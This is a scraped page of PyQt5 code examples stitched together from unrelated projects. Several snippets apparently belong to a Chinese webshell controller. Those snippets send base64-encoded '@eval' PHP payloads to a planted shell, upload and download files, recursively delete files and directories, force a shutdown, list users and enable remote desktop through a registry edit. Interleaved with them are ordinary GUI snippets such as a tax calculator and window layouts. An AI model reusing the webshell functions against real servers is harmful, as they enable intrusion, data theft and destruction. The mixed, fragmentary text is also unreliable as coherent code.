def File_upload(self):
     # 尝试获取文件路径
     shell = self.shelllabel.text()  # 获取shell
     if shell != "":
         try:
             fileName = self.fileopen()  # 调用文件打开对话框
             # print(type(fileName))
             # print(fileName)
             try:
                 # 尝试打开文件读取数据
                 f = open(fileName, "rb")
                 fsize = os.path.getsize(fileName)  # 获取文件大小
                 print(111)
                 filedata = f.read()
                 shell = shell.split("  ")
                 print(33)
                 print(shell)
                 f.close()
                 # print(fsize)
                 # print(filedata)
                 # z2 = base64.b64encode(filedata)
                 newfileName = fileName.split("/")
                 # print(newfileName[-1])
                 path = self.showfilepath() + "\\\\" + newfileName[-1]
                 # print(path)
                 # shell = self.Ui.shelllabel.text()  # 获取shell
                 z = r"@eval(base64_decode($_POST[z0]));"  # 文件执行代码
                 z0 = base64.b64encode((str(
                     '$c=base64_decode($_POST["z2"]); echo(@fwrite(fopen("'
                     + path + '","w"),$c));die();')).encode('utf-8'))
                 # z1 = base64.b64encode((str(path)).encode('utf-8')) # 文件路径加密
                 # print(filedata)
                 z2 = base64.b64encode(filedata)  # 文件数据加密
                 # print(z0)
                 # print(z1)
                 # print(z2)
                 data = {shell[1]: z, "z0": z0, "z2": z2}
                 # print(data)
                 result = self.filedir(shell, data)
                 result = result.decode('utf-8', "ignore")
                 # print(type(result))
                 # print(result)#
                 if int(result) == fsize:
                     self.displayfile()  # 刷新显示
                     box = QtWidgets.QMessageBox()
                     box.information(self, "提示", "上传成功!\n上传路径: " + path)
                 else:
                     box = QtWidgets.QMessageBox()
                     box.information(self, "提示", "上传失败!")
             except:
                 f.close()
                 box = QtWidgets.QMessageBox()
                 box.warning(self, "提示", "文件太大。上传失败!")
         # 文件路径获取失败
         except:
             pass
     else:
         box = QtWidgets.QMessageBox()
         # self.statusBar().showMessage(shell )  # 状态栏显示信息
         box.information(self, "提示", "请先连接shell!")
예제 #2
0
    def all_id(self, result):
        self.font = QtGui.QFont()
        self.font.setBold(True)
        self.rez = result
        for row in result:
            rowitem = row[0]
            self.g = QtWidgets.QGroupBox(self.ui.scrollAreaWidgetContents)
            self.g.setMinimumSize(QtCore.QSize(120, 40))
            self.g.setMaximumSize(QtCore.QSize(120, 40))
            self.g.setTitle("")
            self.g.setObjectName("gb_x")
            self.h = QtWidgets.QHBoxLayout(self.g)
            self.h.setContentsMargins(0, -1, 0, -1)
            self.h.setObjectName("horizontalLayout_x")

            self.l1 = QtWidgets.QLabel(self.g)
            self.l1.setLineWidth(10)
            self.l1.setObjectName("label_id_xx")
            self.l1.setText("id")
            self.l1.setFont(self.font)
            self.h.addWidget(self.l1)

            self.line1 = QtWidgets.QLineEdit(self.g)
            self.line1.setObjectName("lineEdit_id_x")
            self.line1.setText(str(rowitem))
            self.h.addWidget(self.line1)

            self.ui.verticalLayout.addWidget(self.g)
            self.ui.scrollArea.setWidget(self.ui.scrollAreaWidgetContents)

        self.ui.label_com.setFont(QtGui.QFont("Times", 10, QtGui.QFont.Bold))
        self.ui.label_com.setText(
            "Выберите из представленных номеров, тот который требуется отобразить!"
        )
    def File_download(self):
        shell = self.shelllabel.text()  # 获取shell
        if shell != "":  # 判断是否连接shell
            try:
                path = self.showfilepath()  # 获取文件的路径
                filepath = self.treeWidget_2.currentItem().text(0)  # 获取文件名
                compath = path + "\\\\" + filepath  # 组合路径
                phpcode = '$F = "' + compath + '";$fp=@fopen($F,"rb") or die("Unable to open file!") ;echo @fread($fp,filesize($F));@fclose($fp);die();'
                # print(filepath)
                # print(compath)
                # print(phpcode)
                returndata = self.sendcode(phpcode)  # 尝试下载文件
                # print(returndata)
                # 写入文件
                #print(returndata)
                if returndata != "" and returndata != "Unable to open file!":

                    savefilepath = self.filesave(filepath)

                    #print(filepath)
                    #print(savefilepath)
                    f = open(savefilepath, "wb")  # 打开文件
                    f.write(returndata)  # 写入文件
                    f.close()  # 关闭文件
                    box = QtWidgets.QMessageBox()
                    box.information(self, "提示", "下载成功!")
                else:
                    box = QtWidgets.QMessageBox()
                    box.information(self, "提示", "下载失败!")
            except:
                box = QtWidgets.QMessageBox()
                box.information(self, "提示", "下载失败!")
        else:
            box = QtWidgets.QMessageBox()
            box.information(self, "提示", "请先连接shell!")
 def Shutdown(self):
     shell = self.shelllabel.text()  # 获取shell
     if shell != "":
         button = QMessageBox.question(self, "警告!", self.tr("你确定要强制关机吗?"),
                                       QMessageBox.Ok | QMessageBox.Cancel,
                                       QMessageBox.Ok)
         if button == QMessageBox.Ok:
             #shell = self.shelllabel.text()  # 获取shell
             phpcode = 'system("shutdown -p");echo(ok);'
             data = self.sendcode(phpcode)
             print(data)
             if data != None:
                 if data == b"ok":
                     box = QtWidgets.QMessageBox()
                     box.information(self, "提示", "强制关机成功!")
                 else:
                     box = QtWidgets.QMessageBox()
                     box.information(self, "提示", "强制关机失败!")
             else:
                 pass
             # print(data)
         else:
             return
     else:
         box = QtWidgets.QMessageBox()
         box.information(self, "提示", "请先连接shell!")
    def Connect_shell(self):
        try:
            #shell = self.Ui.listWidget.currentItem().text()
            shell = self.listWidget.currentItem().text()

            #shell = di_zhi
            # 返回选择行的数据

            shell2 = shell.split("  ")  #

            phpcode = "echo(hello);"
            phpcode = base64.b64encode(phpcode.encode('GB2312'))

            data = {
                shell2[1]: '@eval(base64_decode($_POST[z0]));',
                'z0': phpcode
            }
            returndata = self.filedir(shell2, data)
            if returndata != "":
                box = QtWidgets.QMessageBox()
                box.information(self, "提示", "连接成功!")
                #print("连接成功1")
                self.shelllabel.setText(shell)
                # self.File_update()  #显示目录
                # self.Virtualshell()

            else:
                box = QtWidgets.QMessageBox()
                box.information(self, "提示", "连接失败!")
                #print("连接失败")
        except:
            box = QtWidgets.QMessageBox()
            box.information(self, "提示", "连接失败!")
            print("连接失败")
예제 #6
0
 def GUIInit(self):
     self.app = QtWidgets.QApplication.instance()
     while self.app is None:  # TODO : remove this
         try:
             self.app = QtWidgets.QApplication(sys.argv)
             break
         except:
             continue
     self.QMainWindow = QtWidgets.QMainWindow()
     self.view = mainWindow()
     self.view.setupUi(self.QMainWindow, self)
     self.QMainWindow.show()
     self.app.exec_()
예제 #7
0
파일: main.py 프로젝트: imrushka/express
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(800, 600)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.label = QtWidgets.QLabel(self.centralwidget)
        self.label.setGeometry(QtCore.QRect(20, 0, 55, 16))
        self.label.setObjectName("label")
        self.textEdit = QtWidgets.QTextEdit(self.centralwidget)
        self.textEdit.setGeometry(QtCore.QRect(20, 20, 611, 141))
        self.textEdit.setObjectName("textEdit")
        self.pushButton = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton.setGeometry(QtCore.QRect(640, 20, 151, 141))
        self.pushButton.setObjectName("pushButton")
        self.tableWidget = QtWidgets.QTableWidget(self.centralwidget)
        self.tableWidget.setGeometry(QtCore.QRect(20, 220, 761, 311))
        self.tableWidget.setObjectName("tableWidget")
        self.tableWidget.setColumnCount(0)
        self.tableWidget.setRowCount(0)
        self.label_2 = QtWidgets.QLabel(self.centralwidget)
        self.label_2.setGeometry(QtCore.QRect(20, 180, 241, 16))
        self.label_2.setObjectName("label_2")
        MainWindow.setCentralWidget(self.centralwidget)
        self.menubar = QtWidgets.QMenuBar(MainWindow)
        self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 26))
        self.menubar.setObjectName("menubar")
        MainWindow.setMenuBar(self.menubar)
        self.statusbar = QtWidgets.QStatusBar(MainWindow)
        self.statusbar.setObjectName("statusbar")
        MainWindow.setStatusBar(self.statusbar)

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)
예제 #8
0
파일: MyApp.py 프로젝트: selimduvakli/MARF
    def setupUi(self, MainWindow):
        MainWindow.resize(764, 600)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.price_box = QtWidgets.QTextEdit(self.centralwidget)
        self.price_box.setGeometry(QtCore.QRect(220, 140, 104, 64))
        self.price_box.setObjectName("price_box")
        self.Taxbox = QtWidgets.QLabel(self.centralwidget)
        self.Taxbox.setGeometry(QtCore.QRect(100, 170, 47, 13))
        font = QtGui.QFont()
        font.setPointSize(12)
        self.Taxbox.setFont(font)
        self.Taxbox.setObjectName("Taxbox")
        self.tax_rate = QtWidgets.QSpinBox(self.centralwidget)
        self.tax_rate.setGeometry(QtCore.QRect(240, 260, 61, 31))
        self.tax_rate.setProperty("value", 20)
        self.tax_rate.setObjectName("tax_rate")
        self.calc_tax_button = QtWidgets.QPushButton(self.centralwidget)
        self.calc_tax_button.setGeometry(QtCore.QRect(160, 350, 131, 41))
        self.calc_tax_button.setObjectName("calc_tax_button")
        self.TaxRate = QtWidgets.QLabel(self.centralwidget)
        self.TaxRate.setGeometry(QtCore.QRect(100, 270, 47, 13))
        font = QtGui.QFont()
        font.setPointSize(12)
        self.TaxRate.setFont(font)
        self.TaxRate.setObjectName("TaxRate")
        self.results_window = QtWidgets.QTextEdit(self.centralwidget)
        self.results_window.setGeometry(QtCore.QRect(170, 430, 104, 64))
        self.results_window.setObjectName("results_window")
        self.label = QtWidgets.QLabel(self.centralwidget)
        self.label.setGeometry(QtCore.QRect(180, 50, 361, 81))
        font = QtGui.QFont()
        font.setPointSize(24)
        self.label.setFont(font)
        self.label.setLineWidth(5)
        self.label.setTextFormat(QtCore.Qt.AutoText)
        self.label.setObjectName("label")
        MainWindow.setCentralWidget(self.centralwidget)
        self.menubar = QtWidgets.QMenuBar(MainWindow)
        self.menubar.setGeometry(QtCore.QRect(0, 0, 764, 18))
        self.menubar.setObjectName("menubar")
        MainWindow.setMenuBar(self.menubar)
        self.statusbar = QtWidgets.QStatusBar(MainWindow)
        self.statusbar.setObjectName("statusbar")
        MainWindow.setStatusBar(self.statusbar)

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)
    def fileContextMenu(self):
        '''
        创建右键菜单
        '''
        # 必须将ContextMenuPolicy设置为Qt.CustomContextMenu
        # 否则无法使用customContextMenuRequested信号
        self.treeWidget_2.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
        self.treeWidget_2.customContextMenuRequested.connect(
            self.showContextMenu)

        # 创建QMenu
        self.contextMenu = QtWidgets.QMenu(self)
        self.file_update = self.contextMenu.addAction(u'更新')
        self.file_upload = self.contextMenu.addAction(u'上传')
        self.file_download = self.contextMenu.addAction(u'下载')
        self.file_delete = self.contextMenu.addAction(u'删除')
        self.file_rename = self.contextMenu.addAction(u'重命名')

        # 将动作与处理函数相关联
        # 这里为了简单,将所有action与同一个处理函数相关联,
        # 当然也可以将他们分别与不同函数关联,实现不同的功能
        self.file_update.triggered.connect(self.File_update)
        self.file_upload.triggered.connect(self.File_upload)
        self.file_download.triggered.connect(self.File_download)
        self.file_delete.triggered.connect(self.File_delete)
예제 #10
0
파일: app.py 프로젝트: HermanGebel/python
def main():
    app = QtWidgets.QApplication(sys.argv)
    window = Window()
    window.show()
    timer = QtCore.QTimer()
    timer.timeout.connect(window.tempUpdate)
    timer.start(2000)
    app.exec_()
예제 #11
0
파일: app.py 프로젝트: HermanGebel/python
 def tempUpdate(self):
     # answer = getTempFromRooms(sock,tempDict)
     answer = [random.randrange(-25, 25) for i in range(5)]
     print(answer)
     for i in range(len(answer)):
         item = QtWidgets.QTableWidgetItem(str(answer[i]))
         item.setTextAlignment(QtCore.Qt.AlignCenter)
         self.tableWidget.setItem(i, 0, item)
 def Open3389(self):
     #phpcode = 'system("REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f");'
     phpcode = 'system("REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f");'
     result = self.sendcode(phpcode)
     if result != None:
         data = self.sendcode(
             'system("netstat -ano |findstr 0.0.0.0:3389");')
         if data != None:
             if data != "":
                 box = QtWidgets.QMessageBox()
                 box.information(self, "提示", "开启成功!")
             else:
                 box = QtWidgets.QMessageBox()
                 box.information(self, "提示", "抱歉,您没有权限!")
         else:
             return
     else:
         return
예제 #13
0
파일: main.py 프로젝트: imrushka/express
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(956, 631)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setObjectName("centralwidget")
        self.tableWidget = QtWidgets.QTableWidget(self.centralwidget)
        self.tableWidget.setGeometry(QtCore.QRect(10, 10, 941, 561))
        self.tableWidget.setObjectName("tableWidget")
        self.tableWidget.setColumnCount(0)
        self.tableWidget.setRowCount(0)
        MainWindow.setCentralWidget(self.centralwidget)
        self.menubar = QtWidgets.QMenuBar(MainWindow)
        self.menubar.setGeometry(QtCore.QRect(0, 0, 956, 26))
        self.menubar.setObjectName("menubar")
        MainWindow.setMenuBar(self.menubar)
        self.statusbar = QtWidgets.QStatusBar(MainWindow)
        self.statusbar.setObjectName("statusbar")
        MainWindow.setStatusBar(self.statusbar)

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)
    def Modify_shell(self):
        try:
            shell = self.listWidget.currentItem().text()  # 获取选中行的文本
            self.Add_shell_show()  # 显示子窗口
            shell = shell.split("  ")  # 分割数据

            self.WChild.lineEdit.setText(shell[0])  # 给子窗口赋值

            self.WChild.lineEdit_2.setText(shell[1])
            self.WChild.pushButton.setText("编辑")
            # 删除选中的行
        except:
            box = QtWidgets.QMessageBox()
            box.warning(self, "提示", "请选择一项!")
 def File_delete(self):
     shell = self.shelllabel.text()  # 获取shell
     if shell != "":
         try:
             path = self.showfilepath()  # 获取文件的路径
             filepath = self.treeWidget_2.currentItem().text(0)  # 获取文件名
             compath = path + "\\\\" + filepath  # 组合路径
             # print(compath)
             hitgroup = self.treeWidget_2.currentIndex().row()
             # 删除文件
             shell = shell.split("  ")
             phpcode1 = "system('" + "del /S /Q " + compath + "');"
             self.sendcode(phpcode1)
             # 删除目录
             phpcode2 = "system('" + "rd /S /Q " + compath + "');"
             self.sendcode(phpcode2)
             self.treeWidget_2.takeTopLevelItem(hitgroup)  # 删除节点
             box = QtWidgets.QMessageBox()
             box.warning(self, "提示", "删除成功!")
         except:
             pass
     else:
         box = QtWidgets.QMessageBox()
         box.information(self, "提示", "请先连接shell!")
    def GetLine(self):  # 添加shell给listweiget传值
        #print(4)
        url = self.WChild.lineEdit.text()
        #print(5)
        #url = input("请输入地址:")
        passwd = self.WChild.lineEdit_2.text()
        #passwd = input("请输入密码:")
        if (url == "" or passwd == ""):  # 判断地址或者密码是不是空

            box = QtWidgets.QMessageBox()
            box.information(self, "提示", "地址或密码不能为空!")
            #print("地址或密码不能为空!!!")
        else:
            data = url + "  " + passwd  # 得到添加shell的内容并组合
            self.listWidget.addItem(data)  # 添加内容
            self.WChild.close()
    def sendcode(self, phpcode):
        shell = self.shelllabel.text()  # 获取shell
        #shell = "http://127.0.0.1/word/hello.php  1"
        if shell != "":
            shell = shell.split("  ")

            phpcode = base64.b64encode(phpcode.encode('GB2312'))
            #print(phpcode)
            data = {
                shell[1]: '@eval(base64_decode($_POST[z0]));',
                'z0': phpcode
            }

            return self.filedir(shell, data)
        else:
            box = QtWidgets.QMessageBox()
            box.information(self, "提示", "请先连接shell!")
    def File_update(self):
        shell = self.shelllabel.text()
        #shell = "http://127.0.0.1/word/hello.php  1"
        if shell != "":
            #列出目录
            self.treeWidget.clear()  #清空treeweight的所有内容

            self.treeWidget_2.clear()  #清空treeweight_2的所有内容'''

            path = ["C:", "D:", "E:", "F:", "G:", "H:"]  #列出3个盘
            #print(path)
            for i in path:  #循环列出c盘  D盘
                data = self.listfile(i)  #调用列出目录
                data = data.decode('GB2312', "ignore")
                #print(data)
                if data == 'ERROR:// Path Not Found Or No Permission!':
                    #判断3个盘是不是存在
                    pass
                else:  #若存在 列出目录
                    listdata = data.split('  ')  # 分割data
                    root = QTreeWidgetItem(self.treeWidget)  #创建对象

                    #self.tree = QTreeWidget()
                    root.setText(0, i)  #创建主节点'''
                    listdata = listdata[:-1]  #去掉空格
                    for i in listdata:  #循环每一个元素
                        singerdata = i.split("\t")  #用\t将名字大小权限修改时间分割
                        #print(singerdata)
                        if singerdata[0][-1] == "/":  #判断是不是有下级目录
                            singerdata[0] = singerdata[0][:-1]  #创建c盘下的子节点

                            child1 = QTreeWidgetItem(root)  #子节点位置
                            child1.setText(0, singerdata[0])  #
                            #print(singerdata[0])
                            #print(type(singerdata[0]))

                        # else:
                        #     child2 = QTreeWidgetItem(child1)  # 创子子节点
                        #     child2.setText(0, singerdata[0])  # 赋值

                        #phpcode = "system('" + "dir" + "');"
        else:
            box = QtWidgets.QMessageBox()
            box.information(self, "提示", "请先连接shell!")
            print("请先链接shell")
    def User(self):
        user = ""
        phpcode = 'system("net user");'
        #print(phpcode)
        data = self.sendcode(phpcode)
        data = data.decode('gb2312')
        #print(data)
        #print(data[100:-20])
        if data != None:
            #print(data)
            #data=data[104:-20].replace('\r\n', '').split(" ")
            data = data[99:-20].split()
            #print(data)

            for i in data:
                if i != "":
                    user += "用户:" + i + "\n"
                    print(1)
            print(user)
            box = QtWidgets.QMessageBox()
            box.about(self, "查询用户", user[:-1])
        else:
            pass
    def createContextMenu(self):
        # 创建右键菜单
        # 必须将ContextMenuPolicy设置为Qt.CustomContextMenu
        # 否则无法使用customContextMenuRequested信号

        self.listWidget.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
        self.listWidget.customContextMenuRequested.connect(
            self.showContextMenu)
        # 创建QMenu
        self.contextMenu = QtWidgets.QMenu(self)
        self.connect_shell_button = self.contextMenu.addAction(u'连接')
        self.add_shell_button = self.contextMenu.addAction(u'添加')
        self.modify_shell_button = self.contextMenu.addAction(u'编辑')
        self.delete_shell_button = self.contextMenu.addAction(u'删除')
        self.delete_all_shell_button = self.contextMenu.addAction(u'清空')

        # 将动作与处理函数相关联,
        # 将他们分别与不同函数关联,实现不同的功能
        self.connect_shell_button.triggered.connect(self.Connect_shell)
        self.add_shell_button.triggered.connect(self.Add_shell_show)
        self.modify_shell_button.triggered.connect(self.Modify_shell)
        self.delete_shell_button.triggered.connect(self.Delete_shell)
        self.delete_all_shell_button.triggered.connect(self.Delete_all_shell)
예제 #21
0
 def connectRelease(Ele: QtWidgets, fun):
     Ele.mouseReleaseEvent = fun
예제 #22
0
from PyQt5.QtWidgets import QDialog
from PyQt5.uic.properties import QtWidgets

from CDlg import myDlg2
from a1 import *

class myDlg(QDialog,Ui_Dialog):
    def __init__(self):
        QDialog.__init__(self)
        self.setupUi(self)
    def btn1_clicked(self):
        self.md=myDlg2()
        self.md.show()
        pass
    def btn2_clicked(self):
        self.label1.setText("hahaha")

if __name__=="__main__":
    import sys
    app=QtWidgets.QApplication(sys.argv)
    ui=myDlg()
    ui.show()
    sys.exit(app.exec_())
예제 #23
0
def hideWindow(self):
    self.window = QtWidgets.QMainWindow()